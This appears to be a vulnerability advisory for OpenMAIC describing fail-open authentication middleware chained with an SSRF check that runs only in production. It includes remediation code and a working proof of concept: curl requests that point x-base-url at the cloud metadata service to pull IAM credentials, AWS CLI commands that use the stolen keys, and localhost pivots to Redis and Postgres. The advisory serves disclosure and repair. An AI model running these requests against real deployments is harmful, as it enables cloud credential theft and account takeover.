Overview
Verified. A two-leg exploit chain exists in OpenMAIC's authentication middleware and outbound provider request layer that allows an unauthenticated remote attacker to make the application server issue arbitrary outbound HTTP requests - including to the cloud Instance Metadata Service (IMDS) at 169.254.169.254 - without possessing any credentials whatsoever.
Leg 1: The Next.js Edge middleware in middleware.ts implements a fail-open posture when the ACCESS_CODE environment variable is absent. In the default .env.example configuration, ACCESS_CODE is unset, meaning all 70 API routes are globally unauthenticated and reachable by any external client.
Leg 2: Across five distinct API route handlers, client-supplied provider base URLs (via x-base-url or baseUrl request parameters) are only passed through validateUrlForSSRF() when process.env.NODE_ENV === 'production'. In any development, staging, preview, or unset environment, the SSRF guard is completely skipped and the application issues an outbound fetch() to the attacker-controlled URL.
Chained together: an unauthenticated attacker supplies x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to any generation endpoint, and the server fetches the cloud IAM role credentials and returns them in the response. No prior account, no token, no local foothold required.
Affected Paths
| File | Lines | Role | Vulnerability |
|---|---|---|---|
middleware.ts |
60–64 | Auth Gate | Fail-open when ACCESS_CODE unset (CWE-306): if (!accessCode) { return NextResponse.next(); } passes all requests unconditionally |
app/api/generate/image/route.ts |
73–78 | SSRF Sink | validateUrlForSSRF gated behind NODE_ENV === 'production' (CWE-918) |
app/api/generate/video/route.ts |
65–70 | SSRF Sink | Same pattern |
app/api/extract-document/route.ts |
258–263 | SSRF Sink | Same pattern |
app/api/parse-pdf/route.ts |
47–52 | SSRF Sink | Same pattern |
lib/server/resolve-model.ts |
104–109 | SSRF Sink | Same pattern |
Root Cause
Flaw A - Fail-Open Authentication Middleware (middleware.ts:60–64)
const accessCode = process.env.ACCESS_CODE;
if (!accessCode) {
return NextResponse.next(); // ← unconditional pass-through, no auth enforced
}
The middleware is the sole authentication gate for all API routes. When ACCESS_CODE is not set - the default state per .env.example - every request to every route passes immediately. There is no fallback mechanism, no warning emitted, no alternative auth check. The fail-open is unconditional and silent.
This exposes 70 API endpoints including generation, persistence, media proxy, extraction, and AI execution routes to any unauthenticated caller.
Flaw B - Environment-Gated SSRF Validation (app/api/generate/image/route.ts:73–78 and 4 others)
// Vulnerable pattern repeated verbatim across 5 route handlers:
if (clientBaseUrl && process.env.NODE_ENV === 'production') {
const ssrfError = await validateUrlForSSRF(clientBaseUrl);
if (ssrfError) {
return apiError('INVALID_URL', 403, ssrfError);
}
}
// In any non-production environment: validateUrlForSSRF is never called.
// fetch() proceeds to the client-supplied URL unconditionally.
The validateUrlForSSRF function in lib/server/ssrf-guard.ts already handles environment-specific exceptions correctly via ALLOW_LOCAL_NETWORKS. The NODE_ENV gate in each route handler is entirely redundant as a dev-mode affordance but catastrophic as a security boundary: it disables SSRF validation globally across staging, preview, CI/CD, and self-hosted deployments where NODE_ENV is not explicitly set to 'production'.
Five separate routes carry this pattern. An attacker only needs one of them to be reachable.
Attack Vector
| Phase | Step | Effect |
|---|---|---|
| 1. No credentials needed | ACCESS_CODE is unset in default config |
Middleware executes return NextResponse.next() - all routes open |
| 2. Target endpoint | POST /api/generate/image (or video, parse-pdf, extract-document) |
Route handler begins processing without any authentication check |
| 3. Supply IMDS URL | Attacker sets x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ in request headers |
clientBaseUrl is extracted from header |
| 4. SSRF guard skipped | NODE_ENV !== 'production' → validateUrlForSSRF() branch not entered |
No block applied to the attacker-supplied URL |
| 5. Outbound fetch | Server issues fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/') |
IMDS returns the list of attached IAM roles |
| 6. Follow-up | Attacker issues second request with full credential path (e.g. http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name) |
IMDS returns AccessKeyId, SecretAccessKey, Token, Expiration in JSON |
| 7. Escalation | Attacker uses leaked credentials externally | Full access to any AWS resource accessible to the attached IAM role |
Preconditions:
- Application deployed to a cloud environment (AWS EC2, ECS, Lambda, GCP, Azure - any IMDS-backed host).
ACCESS_CODEenvironment variable not set (the default).NODE_ENVnot set to'production'(any staging/preview/dev/self-hosted deployment).- Port 443/80 reachable by the attacker (any publicly accessible deployment).
Proof of Concept
Step 1 - Enumerate IMDS roles
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Expected response (IMDS passthrough):
ec2-instance-role
Step 2 - Exfiltrate full IAM credentials
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Expected response:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
Step 3 - Leverage credentials
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
Variant - Internal service pivot (Redis, Postgres)
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
Impact & Blast Radius
- Confidentiality: CRITICAL - Full IAM role credential exfiltration. Depending on the role's policy: S3 bucket contents, RDS snapshots, Secrets Manager values, ECR images, SSM Parameter Store secrets, and cross-account resources are all accessible.
- Integrity: HIGH - Attacker with write-capable IAM role can modify S3 objects, push malicious container images to ECR, modify Lambda function code, or alter infrastructure state via CloudFormation/Terraform state files.
- Availability: HIGH - Attacker can terminate EC2 instances, drop RDS clusters, or exhaust service quotas.
- Scope: CHANGED - The vulnerability escapes the application boundary into the cloud control plane. A single HTTP request compromises the entire cloud account.
- Lateral movement - Temporary IMDS credentials can be used to assume other IAM roles, pivot across accounts, or escalate to Administrator via misconfigured trust policies.
- Persistence - Attacker can provision long-lived IAM users, access keys, or backdoor Lambda/EC2 user data before the temporary token expires.
CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N
Score: 9.0 Critical
| Metric | Value | Justification |
|---|---|---|
| Attack Vector (AV) | Network (N) | Fully remote. Any HTTP client that can reach the application exploits both legs without local access. |
| Attack Complexity (AC) | Low (L) | No race conditions, no timing dependencies, no prerequisite knowledge beyond a standard HTTP request. |
| Attack Requirements (AT) | None (N) | No deployment-specific condition needs to be set up by the attacker. The default configuration- ACCESS_CODE unset and NODE_ENV not explicitly production- is sufficient on its own. |
| Privileges Required (PR) | None (N) | Default deployment carries no ACCESS_CODE. Zero credentials of any kind are required to reach either leg of the chain. |
| User Interaction (UI) | None (N) | No victim action is required at any stage. The SSRF is entirely attacker-driven on the server side. |
| Vuln. System Confidentiality (VC) | High (H) | The IMDS response containing AccessKeyId, SecretAccessKey, and SessionToken is returned directly in the API response body- full IAM credential material exfiltrated from the vulnerable system. |
| Vuln. System Integrity (VI) | Low (L) | The SSRF itself does not write to the application. The response from the internal target is reflected to the attacker, which constitutes minor integrity impact on the vulnerable system boundary. |
| Vuln. System Availability (VA) | None (N) | The SSRF request path does not degrade the availability of the application or its dependencies. |
| Subsequent System Confidentiality (SC) | High (H) | Exfiltrated IAM credentials are immediately usable outside the application to read S3 buckets, Secrets Manager values, RDS snapshots, SSM Parameter Store entries, and cross-account resources- full confidentiality loss across the cloud tenancy. |
| Subsequent System Integrity (SI) | High (H) | A write-capable IAM role allows the attacker to modify Lambda function code, push malicious images to ECR, alter CloudFormation / Terraform state, or assume further roles with broader permissions. |
| Subsequent System Availability (SA) | High (H) | The attacker can terminate EC2 instances, drop RDS clusters, exhaust service quotas, or delete S3 buckets- causing irreversible availability loss across cloud-hosted resources. |
Remediation
Fix 1 - Fail-closed middleware (FINDING-003)
// middleware.ts - replace the fail-open block
const accessCode = process.env.ACCESS_CODE;
if (!accessCode) {
// Fail closed: require explicit opt-out for development, not implicit fail-open
const isDevelopmentBypass = process.env.DISABLE_AUTH_FOR_DEVELOPMENT === 'true'
&& process.env.NODE_ENV === 'development';
if (!isDevelopmentBypass) {
return NextResponse.json(
{ error: 'SERVER_NOT_CONFIGURED', message: 'Access control is not configured.' },
{ status: 503 }
);
}
}
Fix 2 - Unconditional SSRF validation (FINDING-001)
Remove process.env.NODE_ENV === 'production' from all five route handlers. The validateUrlForSSRF function already handles dev/staging exceptions internally via ALLOW_LOCAL_NETWORKS:
// Fixed pattern - apply to all 5 affected routes:
if (clientBaseUrl) {
const ssrfError = await validateUrlForSSRF(clientBaseUrl);
if (ssrfError) {
return apiError('INVALID_URL', 403, ssrfError);
}
}